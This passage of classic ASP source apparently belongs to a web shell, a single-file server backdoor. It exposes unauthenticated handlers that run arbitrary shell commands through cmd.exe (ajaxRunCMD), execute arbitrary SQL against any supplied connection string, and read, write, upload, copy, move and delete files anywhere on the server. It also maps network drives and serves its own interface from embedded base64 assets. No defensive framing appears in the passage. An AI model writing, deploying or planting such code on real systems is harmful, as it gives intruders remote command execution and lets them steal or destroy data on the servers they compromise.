  1219.             .add "msgResponse", "Renamed """ & folderName & """ to """ & """" & newName & """ !"
  1220.         end with
  1221.  
  1222.     ajaxRenameFolder = js.toJSON("action", myInfo, true)
  1223. end function
  1224.  
  1225.  
  1226. function ajaxCopy()
  1227.     on error resume next
  1228.     Dim myInfo, targetPath, foldersId, filesId, ndir, nfile, dir, file, itemName, itemPath, gMsg
  1229.  
  1230.     set js = new JSON
  1231.     set myInfo = server.createObject("scripting.dictionary")
  1232.  
  1233.     targetPath=addslash(Request("targetPath"))
  1234.  
  1235.     foldersId = Request("foldersId")
  1236.     filesId = Request("filesId")
  1237.  
  1238.     ndir=Request("dx").Count
  1239.     nfile=Request("fx").Count
  1240.  
  1241.     if (ndir>0) then
  1242.         gMsg="Copying folder(s) to """ & targetPath & """ ..."
  1243.             For Each dir In Request("dx")
  1244.                 itemName=dir
  1245.                 itemPath=folderLocation & itemName
  1246.                 FSO.CopyFolder itemPath, targetPath, true
  1247.                 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
  1248.                     if Err.Number<>0 then
  1249.                         gMsg=gMsg & "error ("  & Err.Description  & ")"
  1250.                         Err.Clear
  1251.                     else
  1252.                         gMsg=gMsg & "success"
  1253.                     end if
  1254.             Next
  1255.     end if
  1256.  
  1257.     if (nfile>0) then
  1258.         if (ndir>0) then gMsg= gMsg & vbCrLF & vbCrLF
  1259.         gMsg=gMsg & "Copying file(s) to """ & targetPath & """ ..."
  1260.         For Each file In Request("fx")
  1261.                 itemName=file
  1262.                 itemPath=folderLocation & itemName
  1263.                 FSO.CopyFile itemPath, targetPath, true
  1264.                 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
  1265.                     if Err.Number<>0 then
  1266.                         gMsg=gMsg & "error ("  & Err.Description  & ")"
  1267.                         Err.Clear
  1268.                     else
  1269.                         gMsg=gMsg & "success"
  1270.                     end if
  1271.         Next
  1272.     end if
  1273.  
  1274.     if Err.Number <> 0 then
  1275.         myInfo.add "error", Err.Number
  1276.         myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
  1277.     else
  1278.         myInfo.add "error", 0
  1279.         myInfo.add "errorDesc", gMsg
  1280.     end if
  1281.     Err.Clear
  1282.  
  1283.         with myInfo
  1284.             .add "action", "copy"
  1285.             .add "foldersId", foldersId
  1286.             .add "filesId", filesId
  1287.             .add "msgResponse", gMsg
  1288.         end with
  1289.  
  1290.     ajaxCopy = js.toJSON("action", myInfo, true)
  1291. end function
  1292.  
  1293. function ajaxMove()
  1294.     on error resume next
  1295.     Dim myInfo, targetPath, foldersId, filesId, ndir, nfile, dir, file, itemName, itemPath, gMsg
  1296.  
  1297.     set js = new JSON
  1298.     set myInfo = server.createObject("scripting.dictionary")
  1299.  
  1300.     targetPath=addslash(Request("targetPath"))
  1301.  
  1302.     foldersId = ""
  1303.     filesId = ""
  1304.  
  1305.     ndir=Request("dx").Count
  1306.     nfile=Request("fx").Count
  1307.  
  1308.     if (ndir>0) then
  1309.         gMsg="Moving folder(s) to """ & targetPath & """ ..."
  1310.             For Each dir In Request("dx")
  1311.                 itemName=dir
  1312.                 itemPath=folderLocation & itemName
  1313.                 FSO.MoveFolder itemPath, targetPath
  1314.                 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
  1315.                     if Err.Number<>0 then
  1316.                         gMsg=gMsg & "error ("  & Err.Description  & ")"
  1317.                         Err.Clear
  1318.                     else
  1319.                         gMsg=gMsg & "success"
  1320.                         foldersId = foldersId & itemName & "|"
  1321.                     end if
  1322.             Next
  1323.     end if
  1324.  
  1325.     if (nfile>0) then
  1326.         if (ndir>0) then gMsg= gMsg & vbCrLF & vbCrLF
  1327.         gMsg=gMsg & "Moving file(s) to """ & targetPath & """ ..."
  1328.         For Each file In Request("fx")
  1329.                 itemName=file
  1330.                 itemPath=folderLocation & itemName
  1331.                 FSO.MoveFile itemPath,targetPath
  1332.                 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
  1333.                     if Err.Number<>0 then
  1334.                         gMsg=gMsg & "error ("  & Err.Description  & ")"
  1335.                         Err.Clear
  1336.                     else
  1337.                         gMsg=gMsg & "success"
  1338.                         filesId = filesId & itemName & "|"
  1339.                     end if
  1340.         Next
  1341.     end if
  1342.  
  1343.     if Err.Number <> 0 then
  1344.         myInfo.add "error", Err.Number
  1345.         myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
  1346.     else
  1347.         myInfo.add "error", 0
  1348.         myInfo.add "errorDesc", gMsg
  1349.     end if
  1350.  
  1351.         with myInfo
  1352.             .add "action", "move"
  1353.             .add "foldersId", foldersId
  1354.             .add "filesId", filesId
  1355.             .add "msgResponse", gMsg
  1356.         end with
  1357.  
  1358.     ajaxMove = js.toJSON("action", myInfo, true)
  1359. end function
  1360.  
  1361.  
  1362. function ajaxDelete()
  1363.     on error resume next
  1364.     Dim myInfo, foldersId, filesId, ndir, nfile, dir, file, itemName, itemPath, gMsg
  1365.  
  1366.     set js = new JSON
  1367.     set myInfo = server.createObject("scripting.dictionary")
  1368.  
  1369.     foldersId = ""
  1370.     filesId = ""
  1371.  
  1372.     ndir=Request("dx").Count
  1373.     nfile=Request("fx").Count
  1374.  
  1375.     if (ndir>0) then
  1376.         gMsg="Deleting folder(s) ..."
  1377.             For Each dir In Request("dx")
  1378.                 itemName=dir
  1379.                 itemPath=folderLocation & itemName
  1380.                 FSO.DeleteFolder itemPath,true
  1381.                 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
  1382.                     if Err.Number<>0 then
  1383.                         gMsg=gMsg & "error ("  & Err.Description  & ")"
  1384.                         Err.Clear
  1385.                     else
  1386.                         gMsg=gMsg & "success"
  1387.                         foldersId = foldersId & itemName & "|"
  1388.                     end if
  1389.             Next
  1390.     end if
  1391.  
  1392.     if (nfile>0) then
  1393.         if (ndir>0) then gMsg= gMsg & vbCrLF & vbCrLF
  1394.         gMsg=gMsg & "Deleting file(s) ..."
  1395.         For Each file In Request("fx")
  1396.                 Err.Clear
  1397.                 itemName=file
  1398.                 itemPath=folderLocation & itemName
  1399.                 FSO.DeleteFile itemPath,true
  1400.                 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
  1401.                     if Err.Number<>0 then
  1402.                         gMsg=gMsg & "error ("  & Err.Description  & ")"
  1403.                         Err.Clear
  1404.                     else
  1405.                         gMsg=gMsg & "success"
  1406.                         filesId = filesId & itemName & "|"
  1407.                     end if
  1408.         Next
  1409.     end if
  1410.  
  1411.     if Err.Number <> 0 then
  1412.         myInfo.add "error", Err.Number
  1413.         myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
  1414.     else
  1415.         myInfo.add "error", 0
  1416.         myInfo.add "errorDesc", gMsg
  1417.     end if
  1418.  
  1419.         with myInfo
  1420.             .add "action", "delete"
  1421.             .add "foldersId", foldersId
  1422.             .add "filesId", filesId
  1423.             .add "msgResponse", gMsg
  1424.         end with
  1425.  
  1426.     ajaxDelete = js.toJSON("action", myInfo, true)
  1427. end function
  1428.  
  1429. function ajaxRunSQL()
  1430.     on error resume next
  1431.     Dim myInfo, connection, command, rHeader
  1432.     dim adoCon, rS
  1433.     dim i,intAffected
  1434.  
  1435.     connection=request.form("connection")
  1436.     command=request.form("command")
  1437.     intAffected = -1
  1438.  
  1439.     set js = new JSON
  1440.     set myInfo = server.createObject("scripting.dictionary")
  1441.     set adoCon=Server.CreateObject("ADODB.Connection")
  1442.     adoCon.Open connection
  1443.  
  1444.     if Err.Number<>0 then
  1445.         myInfo.add "error", Err.Number
  1446.         myInfo.add "errorDesc", Err.Description
  1447.     else
  1448.         set rS=adoCon.Execute(command, intAffected)
  1449.  
  1450.         if Err.Number<>0 then
  1451.             myInfo.add "error", Err.Number
  1452.             myInfo.add "errorDesc", Err.Description
  1453.         else
  1454.             myInfo.add "error", 0
  1455.             myInfo.add "errorDesc", ""
  1456.             'myInfo.add "msgResponse", "SQL Command Execute Successful !"
  1457.         end if
  1458.  
  1459.         if (rS.Fields.Count>0) then
  1460.             redim rHeader(rS.Fields.Count-1)
  1461.             for i=0 to rS.Fields.Count-1
  1462.                 if (rS.Fields(i).Name="") then
  1463.                     rHeader(i) = "(No column name)"
  1464.                 else
  1465.                     rHeader(i) = Server.HtmlEncode(rS.Fields(i).Name)
  1466.                 end if
  1467.             next
  1468.         else
  1469.             rS = ""
  1470.             rHeader = ""
  1471.         end if
  1472.     end if
  1473.  
  1474.  
  1475.     with myInfo
  1476.         .add "action", "runSQL"
  1477.         .add "affected", intAffected
  1478.         .add "header", rHeader
  1479.         .add "data", rS
  1480.     end with
  1481.  
  1482.     set rS=nothing
  1483.     set adoCon=nothing
  1484.  
  1485.     ajaxRunSQL = js.toJSON("action", myInfo, true)
  1486. end function
  1487.  
  1488. function ajaxRunCMD()
  1489.     on error resume next
  1490.     Dim myInfo, command, returnContent
  1491.  
  1492.     command=request.form("command")
  1493.     returnContent = ""
  1494.  
  1495.     set js = new JSON
  1496.     set myInfo = server.createObject("scripting.dictionary")
  1497.     returnContent = server.createobject("wscript.shell").exec("cmd.exe /c "&command).stdout.readall
  1498.     if Err.Number <> 0 then
  1499.         myInfo.add "error", Err.Number
  1500.         myInfo.add "errorDesc", Err.Description
  1501.     else
  1502.         myInfo.add "error", 0
  1503.         myInfo.add "errorDesc", ""
  1504.     end if
  1505.  
  1506.     with myInfo
  1507.         .add "action", "runCMD"
  1508.         .add "returnContent", returnContent
  1509.     end with
  1510.  
  1511.     ajaxRunCMD = js.toJSON("action", myInfo, true)
  1512. end function
  1513.  
  1514. function ajaxLoadFile()
  1515.     on error resume next
  1516.     Dim myInfo, itemPath, itemContent, f, f1
  1517.  
  1518.     itemPath=request.form("itemPath")
  1519.     itemContent = ""
  1520.  
  1521.     set js = new JSON
  1522.     set myInfo = server.createObject("scripting.dictionary")
  1523.     set f = FSO.getFile(itemPath)
  1524.  
  1525.     if (f.size > 0 and f.size < 512000) then
  1526.         set f1 = FSO.OpenTextFile(itemPath, 1)
  1527.         itemContent = f1.readAll
  1528.     end if
  1529.  
  1530.     if Err.Number <> 0 then
  1531.         myInfo.add "error", Err.Number
  1532.         myInfo.add "errorDesc", Err.Description
  1533.     else
  1534.         myInfo.add "error", 0
  1535.         myInfo.add "errorDesc", ""
  1536.     end if
  1537.  
  1538.     with myInfo
  1539.         .add "action", "loadFile"
  1540.         .add "itemPath", itemPath
  1541.         .add "itemSize", f.size
  1542.         .add "itemSizeText", FormatSize(f.size)
  1543.         .add "itemContent", itemContent
  1544.     end with
  1545.  
  1546.     ajaxLoadFile = js.toJSON("action", myInfo, true)
  1547. end function
  1548.  
  1549.  
  1550. function ajaxSaveFile()
  1551.     on error resume next
  1552.     Dim myInfo, itemPath, itemContent, saveMode, f1, gMsg
  1553.  
  1554.     itemPath=request.form("itemPath")
  1555.     itemContent = request.form("itemContent")
  1556.     saveMode = request.form("saveMode")
  1557.     gMsg = ""
  1558.  
  1559.     if(saveMode <> 8) then
  1560.         saveMode = 2
  1561.     end if
  1562.  
  1563.     set js = new JSON
  1564.     set myInfo = server.createObject("scripting.dictionary")
  1565.     set f1 = FSO.OpenTextFile(itemPath,saveMode,true,false)
  1566.  
  1567.     f1.Write(itemContent)
  1568.     f1.close
  1569.  
  1570.     if Err.Number<>0 then
  1571.         gMsg="Unable to write to the file """ & itemPath & """, an error occured..."
  1572.     else
  1573.         gMsg="File saved !"
  1574.     end if
  1575.  
  1576.     if Err.Number <> 0 then
  1577.         myInfo.add "error", Err.Number
  1578.         myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
  1579.     else
  1580.         myInfo.add "error", 0
  1581.         myInfo.add "errorDesc", ""
  1582.     end if
  1583.  
  1584.     with myInfo
  1585.         .add "action", "saveFile"
  1586.         .add "saveMode", saveMode
  1587.         .add "itemPath", itemPath
  1588.     end with
  1589.  
  1590.     ajaxSaveFile = js.toJSON("action", myInfo, true)
  1591. end function
  1592.  
  1593. function ajaxNewFile()
  1594.     on error resume next
  1595.     Dim myInfo, itemName, itemPath, gMsg, newItem, f1
  1596.  
  1597.     itemName=request.form("itemName")
  1598.     itemPath=folderLocation & itemName
  1599.  
  1600.     set js = new JSON
  1601.     set myInfo = server.createObject("scripting.dictionary")
  1602.  
  1603.     if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
  1604.     FSO.CreateTextFile(itemPath)
  1605.     if Err.Number<>0 then
  1606.         gMsg="Unable to create the file """ & itemName & """, an error occured..."
  1607.         myInfo.add "error", Err.Number
  1608.     else
  1609.         gMsg="Created the file """ & itemName & """..."
  1610.         myInfo.add "error", 0
  1611.     end if
  1612.     else
  1613.     gMsg="Unable to create the file """ & itemName & """, there exists a file or a folder with the same name..."
  1614.         myInfo.add "error", 1
  1615.     end if
  1616.  
  1617.     if Err.Number <> 0 then
  1618.         myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
  1619.     else
  1620.         myInfo.add "errorDesc", gMsg
  1621.     end if
  1622.  
  1623.     Set f1 = FSO.GetFile(itemPath)
  1624.  
  1625.     newItem = f1.name & "|" & FormatSize(f1.size) & "|" & f1.type & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
  1626.  
  1627.     with myInfo
  1628.         .add "action", "newFile"
  1629.         .add "itemName", itemName
  1630.         .add "msgResponse", gMsg
  1631.         .add "newItem", newItem
  1632.     end with
  1633.  
  1634.     ajaxNewFile = js.toJSON("action", myInfo, true)
  1635. end function
  1636.  
  1637. function ajaxNewFolder()
  1638.     on error resume next
  1639.     Dim myInfo, itemName, itemPath, gMsg, newItem, f1
  1640.  
  1641.     itemName=request.form("itemName")
  1642.     itemPath=folderLocation & itemName
  1643.  
  1644.     set js = new JSON
  1645.     set myInfo = server.createObject("scripting.dictionary")
  1646.     set newItem = server.createObject("scripting.dictionary")
  1647.  
  1648.     if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
  1649.     FSO.CreateFolder(itemPath)
  1650.     if Err.Number<>0 then
  1651.         gMsg="Unable to create the folder """ & itemName & """, an error occured..."
  1652.         myInfo.add "error", Err.Number
  1653.     else
  1654.         gMsg="Created the folder """ & itemName & """..."
  1655.         myInfo.add "error", 0
  1656.     end if
  1657.     else
  1658.     gMsg="Unable to create the folder """ & itemName & """, there exists a file or a folder with the same name..."
  1659.         myInfo.add "error", 1
  1660.     end if
  1661.  
  1662.     if Err.Number <> 0 then
  1663.         myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
  1664.     else
  1665.         myInfo.add "errorDesc", gMsg
  1666.     end if
  1667.  
  1668.     Set f1 = FSO.GetFolder(itemPath)
  1669.  
  1670.     newItem = f1.name & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
  1671.  
  1672.     with myInfo
  1673.         .add "action", "newFolder"
  1674.         .add "itemName", itemName
  1675.         .add "msgResponse", gMsg
  1676.         .add "newItem", newItem
  1677.     end with
  1678.  
  1679.     ajaxNewFolder = js.toJSON("action", myInfo, true)
  1680. end function
  1681.  
  1682. function filesfoldersList()
  1683.     on error resume next
  1684.     Dim f, fc, f1, counter, counterId, endId, myFolderList(), myFileList(), itemStart, itemEnd, myInfo, totalFiles, totalFolders, counterItems
  1685.  
  1686.     set js = new JSON
  1687.     set myInfo = server.createObject("scripting.dictionary")
  1688.     Set f = FSO.GetFolder(folderLocation)
  1689.     call ErrHandle("lstResponse")
  1690.     itemStart=request.form("itemStart")
  1691.  
  1692.     if(itemStart = "" or itemStart = "0") then
  1693.         itemStart = 1
  1694.     else
  1695.         itemStart = Cint(itemStart)
  1696.     end if
  1697.  
  1698.     itemEnd = itemStart + 199
  1699.  
  1700.     if(itemStart = 1) then
  1701.         Set fc = f.SubFolders
  1702.         counter = 1
  1703.  
  1704.         Redim myFolderList(0)
  1705.         myFolderList(0) = "noxxxinfo"
  1706.  
  1707.         For Each f1 In fc
  1708.             Redim preserve myFolderList(counter)
  1709.                 myFolderList(counter) = f1.name & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
  1710.             counter=counter+1
  1711.         Next
  1712.         Session("myFolderList") = myFolderList
  1713.  
  1714.         Set fc = f.Files
  1715.         counter = 1
  1716.  
  1717.         Redim myFileList(0)
  1718.         myFileList(0) = "noxxxinfo"
  1719.  
  1720.         For Each f1 In fc
  1721.             Redim preserve myFileList(counter)
  1722.             myFileList(counter) = f1.name & "|" & FormatSize(f1.size) & "|" & f1.type & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
  1723.             counter=counter+1
  1724.         Next
  1725.         Session("myFileList") = myFileList
  1726.     end if
  1727.  
  1728.     totalFolders = UBound(Session("myFolderList"))
  1729.     totalFiles = UBound(Session("myFileList"))
  1730.  
  1731.     call ErrHandle("lstResponse")
  1732.  
  1733.     Redim myFolderList(0)
  1734.     myFolderList(0) = "noxxxinfo"
  1735.  
  1736.     Redim myFileList(0)
  1737.     myFileList(0) = "noxxxinfo"
  1738.     counterItems = 0
  1739.  
  1740.     if(itemStart <= totalFolders) then
  1741.         if(totalFolders <= itemEnd) then
  1742.             endId = totalFolders
  1743.         else
  1744.             endId = itemEnd
  1745.         end if
  1746.         counter = 0
  1747.         For counterId = itemStart to endId
  1748.             Redim preserve myFolderList(counter)
  1749.             myFolderList(counter) = Session("myFolderList")(counterId)
  1750.             counter=counter+1
  1751.             counterItems = counterItems + 1
  1752.         Next
  1753.     end if
  1754.  
  1755.     if(itemStart + counterItems <= totalFolders + totalFiles) then
  1756.         if(totalFolders + totalFiles <= itemEnd) then
  1757.             endId = totalFiles
  1758.         else
  1759.             endId = itemEnd - totalFolders
  1760.         end if
  1761.         'Response.Write itemStart + counterItems - totalFolders & " - " & endId
  1762.         counter = 0
  1763.         For counterId = itemStart + counterItems - totalFolders to endId
  1764.             Redim preserve myFileList(counter)
  1765.             myFileList(counter) = Session("myFileList")(counterId)
  1766.             counter=counter+1
  1767.             counterItems = counterItems + 1
  1768.         Next
  1769.     end if
  1770.  
  1771.     if(itemEnd >= totalFolders + totalFiles) then
  1772.         myInfo.add "finished", true
  1773.     else
  1774.         myInfo.add "finished", false
  1775.     end if
  1776.  
  1777.     with myInfo
  1778.         .add "totalFolders", totalFolders
  1779.         .add "totalFiles", totalFiles
  1780.         .add "itemStart", itemStart
  1781.     end with
  1782.  
  1783.     filesfoldersList = js.toJSON("status", myInfo, true) & "," & js.toJSON("folders", myFolderList, true) & "," & js.toJSON("files", myFileList, true)
  1784. end function
  1785.  
  1786. SELECT CASE mode
  1787. CASE "explorer"
  1788.     ajaxExplorer()
  1789.     Response.end
  1790.  
  1791. CASE "mapDriver"
  1792.     Response.Write "actionResponse = {"
  1793.     Response.Write ajaxMapDriver()
  1794.     Response.Write "};"
  1795.     Response.End
  1796.  
  1797. CASE "removeDriver"
  1798.     Response.Write "actionResponse = {"
  1799.     Response.Write ajaxRemoveDriver()
  1800.     Response.Write "};"
  1801.     Response.End
  1802.  
  1803. CASE "newFile"
  1804.     Response.Write "actionResponse = {"
  1805.     Response.Write ajaxNewFile()
  1806.     Response.Write "};"
  1807.     Response.End
  1808.  
  1809. CASE "newFolder"
  1810.     Response.Write "actionResponse = {"
  1811.     Response.Write ajaxNewFolder()
  1812.     Response.Write "};"
  1813.     Response.End
  1814.  
  1815. CASE "copy"
  1816.     Response.Write "actionResponse = {"
  1817.     Response.Write ajaxCopy()
  1818.     Response.Write "};"
  1819.     Response.End
  1820.  
  1821. CASE "move"
  1822.     Response.Write "actionResponse = {"
  1823.     Response.Write ajaxMove()
  1824.     Response.Write "};"
  1825.     Response.End
  1826.  
  1827. CASE "delete"
  1828.     Response.Write "actionResponse = {"
  1829.     Response.Write ajaxDelete()
  1830.     Response.Write "};"
  1831.     Response.End
  1832.  
  1833. CASE "runSQL"
  1834.     Response.Write "actionResponse = {"
  1835.     Response.Write ajaxRunSQL()
  1836.     Response.Write "};"
  1837.     Response.End
  1838.  
  1839. CASE "runCMD"
  1840.     Response.Write "actionResponse = {"
  1841.     Response.Write ajaxRunCMD()
  1842.     Response.Write "};"
  1843.     Response.End
  1844.  
  1845. CASE "loadFile"
  1846.     Response.Write "actionResponse = {"
  1847.     Response.Write ajaxLoadFile()
  1848.     Response.Write "};"
  1849.     Response.End
  1850.  
  1851. CASE "saveFile"
  1852.     Response.Write "actionResponse = {"
  1853.     Response.Write ajaxSaveFile()
  1854.     Response.Write "};"
  1855.     Response.End
  1856.  
  1857. CASE "renameFile"
  1858.     Response.Write "actionResponse = {"
  1859.     Response.Write ajaxRenameFile()
  1860.     Response.Write "};"
  1861.     Response.End
  1862.  
  1863. CASE "renameFolder"
  1864.     Response.Write "actionResponse = {"
  1865.     Response.Write ajaxRenameFolder()
  1866.     Response.Write "};"
  1867.     Response.End
  1868.  
  1869. CASE "script"
  1870.     on error resume next
  1871.     Response.contenttype="application/x-javascript"
  1872.     Response.CacheControl = "Public"
  1873.     Response.Write Base64Decode(script)
  1874.     Response.end
  1875.  
  1876. CASE "style"
  1877.     on error resume next
  1878.     Response.contenttype="text/css"
  1879.     Response.CacheControl = "Public"
  1880.     Response.Write Base64Decode(media_style)
  1881.     Response.end
  1882.  
  1883. CASE "download"
  1884.     on error resume next
  1885.     Dim file
  1886.     Response.Buffer=True
  1887.     file = Request("file")
  1888.     DownloadFile folderLocation & file
  1889.     Response.end
  1890.  
  1891. CASE "image"
  1892.     on error resume next
  1893.     Dim imgId
  1894.     Response.ContentType="image/gif"
  1895.     Response.CacheControl = "Public"
  1896.     imgId = Request("imgid")
  1897.     SELECT CASE imgId
  1898.     CASE "loading"
  1899.         Response.BinaryWrite Base64ToBSTR(img_loading)
  1900.     CASE "dir"
  1901.         Response.BinaryWrite Base64ToBSTR(img_dir)
  1902.     CASE "lvup"
  1903.         Response.BinaryWrite Base64ToBSTR(img_lvUp)
  1904.     CASE "txt"
  1905.         Response.BinaryWrite Base64ToBSTR(img_txt)
  1906.     CASE "img"
  1907.         Response.BinaryWrite Base64ToBSTR(img_img)
  1908.     CASE ELSE
  1909.         Response.BinaryWrite Base64ToBSTR(img_unknow)
  1910.     END SELECT
  1911.     Response.end
  1912.  
  1913. CASE "view"
  1914.     on error resume next
  1915.     Dim extimg, Fil, imagePath
  1916.     Response.Buffer=True
  1917.     imagePath = Request("imagePath")
  1918.  
  1919.     If(Ucase(FSO.GetExtensionName(imagePath)) = "JPG" or Ucase(FSO.GetExtensionName(imagePath)) = "JPEG" or Ucase(FSO.GetExtensionName(imagePath)) = "JPE") Then
  1920.         extimg = "image/jpeg"
  1921.     Elseif(Ucase(FSO.GetExtensionName(imagePath)) = "GIF") Then
  1922.         extimg = "image/gif"
  1923.     Elseif(Ucase(FSO.GetExtensionName(imagePath)) = "BMP") Then
  1924.         extimg = "image/bmp"
  1925.     Else
  1926.         extimg = "image/png"
  1927.     End if
  1928.     Set Fil = FSO.GetFile(imagePath)
  1929.     Response.ContentType=extimg
  1930.     Response.CacheControl = "Public"
  1931.     'Response.AddHeader "Content-Length", Fil.Size
  1932.     Response.BinaryWrite readBinaryFile(Fil.path)
  1933.     Set Fil = Nothing
  1934.     Response.end
  1935. END SELECT
  1936.  
  1937. if(mode = "upload") then
  1938.  
  1939. dim linkBack
  1940.  
  1941. Response.Write "<html>"
  1942. Response.Write "<head>"
  1943. Response.Write "<title>" & aspTitle & "</title>"
  1944. Response.Write "<meta http-equiv=""Content-Type"" content=""text/html; charset=utf-8"">"
  1945. Response.Write "<META HTTP-EQUIV=""Pragma"" CONTENT=""no-cache"">"
  1946. Response.Write "<META HTTP-EQUIV=""Expires"" CONTENT=""-1"">"
  1947.  
  1948. Response.Write "<link rel=""stylesheet"" href=""?mode=style"" type=""text/css"" />"
  1949. Response.Write "</head>"
  1950. Response.Write "<body>"
  1951.  
  1952. Response.Write "<div align=""center"">"
  1953. Response.Write "<table cellpadding=""2"" cellspacing=""2"" width=""500"">"
  1954. Response.Write "<thead  width=""100%"" align=""center"">"
  1955. Response.Write "    <td class=""kbrtm"" align=""center"" colspan=""2""><b>File Upload</b></td>"
  1956. Response.Write "</thead>"
  1957.  
  1958. linkBack = Upload(folderLocation)
  1959.  
  1960. Response.Write "<TR><TD align='center' class=""kbrtm""><A href="""& linkBack &""">[Back]</A></TD></TR>"
  1961. Response.Write "</table>"
  1962. Response.Write "</div>"
  1963.  
  1964. Response.Write "</body>"
  1965. Response.Write "</html>"
  1966.  
  1967. Response.End
  1968. end if
  1969.  
  1970. Dim drive_, driversText
  1971.     for each drive_ in FSO.Drives
  1972.         driversText = driversText & "<tr id=""driver" & drive_.DriveLetter & """><td class=""kbrtm"">"
  1973.         driversText = driversText & "<a href="""&FilePath&"#Explorer|"&drive_.DriveLetter&":\"">"
  1974.         if drive_.Drivetype=1 then driversText = driversText & "&nbsp;&nbsp;Floppy Drive"
  1975.         if drive_.Drivetype=2 then driversText = driversText & "&nbsp;&nbsp;Hard Disk"
  1976.         if drive_.Drivetype=3 then driversText = driversText & "&nbsp;&nbsp;Network Drive"
  1977.         if drive_.Drivetype=4 then driversText = driversText & "&nbsp;&nbsp;Cd-Rom"
  1978.         driversText = driversText & " [" & drive_.DriveLetter & ":]</a>"
  1979.         if drive_.Drivetype=3 then driversText = driversText & "&nbsp;&nbsp;<a href=""javascript:removeDriver('" & drive_.DriveLetter & "');"">[Remove]</a>"
  1980.         driversText = driversText &  "</td></tr>"
  1981.     next
  1982.  
  1983. Response.Write "<html>"
  1984. Response.Write "<head>"
  1985. Response.Write "<title>" & aspTitle & "</title>"
  1986. Response.Write "<meta http-equiv=""Content-Type"" content=""text/html; charset=utf-8"">"
  1987. Response.Write "<META HTTP-EQUIV=""Pragma"" CONTENT=""no-cache"">"
  1988. Response.Write "<META HTTP-EQUIV=""Expires"" CONTENT=""-1"">"
  1989.  
  1990. Response.Write "<link rel=""stylesheet"" href=""?mode=style"" type=""text/css"" />"
  1991. Response.Write "<script src=""?mode=script"" type=""text/javascript""></script>"
  1992. Response.Write "<script type=""text/javascript"">"
  1993. Response.Write "ffList = {"
  1994. Response.Write  ajaxInfo()
  1995. Response.Write "};"
  1996. Response.Write "</script>"
  1997. Response.Write "</head>"
  1998. Response.Write "<body onload=""startLoad()"">"
  1999.  
  2000. Response.Write "<div id=""container"" align=""center"">"
  2001.  
  2002. Response.Write "<div id=""tblHead"" align=""center""><P>&nbsp;</P>"
  2003. Response.Write "<form onSubmit=""window.location.href = '#Explorer|'+getId('remote').value.addSlash();return false;"" method=""post"">"
  2004. Response.Write "<table cellpadding=""0"" cellspacing=""0""><tr><td style=""background-color:121212"" class=""kbrtm"">&nbsp;&nbsp;&nbsp;<b>Location :</b>&nbsp;&nbsp;&nbsp;</td><td><input name=""remote"" id=""remote"" value='' type=""text"" style=""width:350px;""></td><td><input type=""Submit"" value=""Go &raquo;"" style=""width:50; font-weight:bold;""></td></tr></table>"
  2005. Response.Write "</form>"
  2006. Response.Write "<P>&nbsp;</P>"
  2007. Response.Write "</div>"
  2008.  
  2009. Response.Write "<div id=""tblErr"" style=""display:none"" align=""center"">"
  2010. Response.Write "<table cellpadding=""2"" cellspacing=""2"" width=""500"">"
  2011. Response.Write "<thead  width=""100%"" align=""center"">"
  2012. Response.Write "    <td class=""kbrtm"" style=""background-color:121212"" align=""center"" colspan=""2""><b>Error !!!</b></td>"
  2013. Response.Write "</thead>"
  2014. Response.Write "<tbody bgcolor=""#3a3a3a"">"
  2015. Response.Write "<TR>"
  2016. Response.Write "    <TD width=""20%"" class=""kbrtm"" id=""errCode"">&nbsp;</TD>"
  2017. Response.Write "    <TD width=""80%"" class=""kbrtm""><font id=""errDesc"" color=""red"">&nbsp;</font></TD>"
  2018. Response.Write "</TR>"
  2019. Response.Write "</tbody>"
  2020. Response.Write "</table>"
  2021. Response.Write "<BR>&nbsp;</BR>"
  2022. Response.Write "</div>"
  2023.  
  2024.  
  2025. Response.Write "<div align=""center"">"
  2026. Response.Write "<font id=""ffNo"" style=""font-weight:bold;color:orange;display:none;"">Total : <span style=""color:red;"" id=""totalFolders"">0</span> folder(s) and <span style=""color:red;"" id=""totalFiles"">0</span> file(s)<BR><span style=""color:red;"" id=""folderNo"">0</span> folder(s) and <span style=""color:red;"" id=""fileNo"">0</span> file(s) listed !&nbsp;&nbsp;&nbsp;<input type=""button"" id=""btLoadmore"" onClick=""loadMore();"" value=""[Load More]"" style=""display:none;font-weight:bold;""></font><BR>&nbsp;"
  2027. Response.Write "<table id=""tblContent"" cellpadding=""0px"" cellspacing=""1px"" width=""95%"" style=""border:1px solid #5d5d5d;min-width:1280;"">"
  2028. Response.Write "<thead width=""100%"" class=""tableHead"" align=""center"">"
  2029. Response.Write "<tr>"
  2030. Response.Write "    <TD class=""fname""><b>Name</b></TD>"
  2031. Response.Write "    <TD class=""fsize""><b>Size</b></TD>"
  2032. Response.Write "    <TD class=""ftype""><b>Type</b></TD>"
  2033. Response.Write "    <TD class=""fdate""><b>Date Last Modified</b></TD>"
  2034. Response.Write "    <TD class=""fdate""><b>Date Created</b></TD>"
  2035. Response.Write "    <TD class=""faction"" colspan=""3""><b>Action</b></TD>"
  2036. Response.Write "</tr>"
  2037. Response.Write "</thead>"
  2038. Response.Write "<tbody id=""tblList"" bgcolor=""#3a3a3a"">"
  2039. Response.Write "</tbody>"
  2040. Response.Write "<tbody id=""tblCommand"" width=""100%"">"
  2041. Response.Write "<tr>"
  2042. Response.Write "    <TD>&nbsp;</TD>"
  2043. Response.Write "    <TD></TD>"
  2044. Response.Write "    <TD></TD>"
  2045. Response.Write "    <TD></TD>"
  2046. Response.Write "    <TD></TD>"
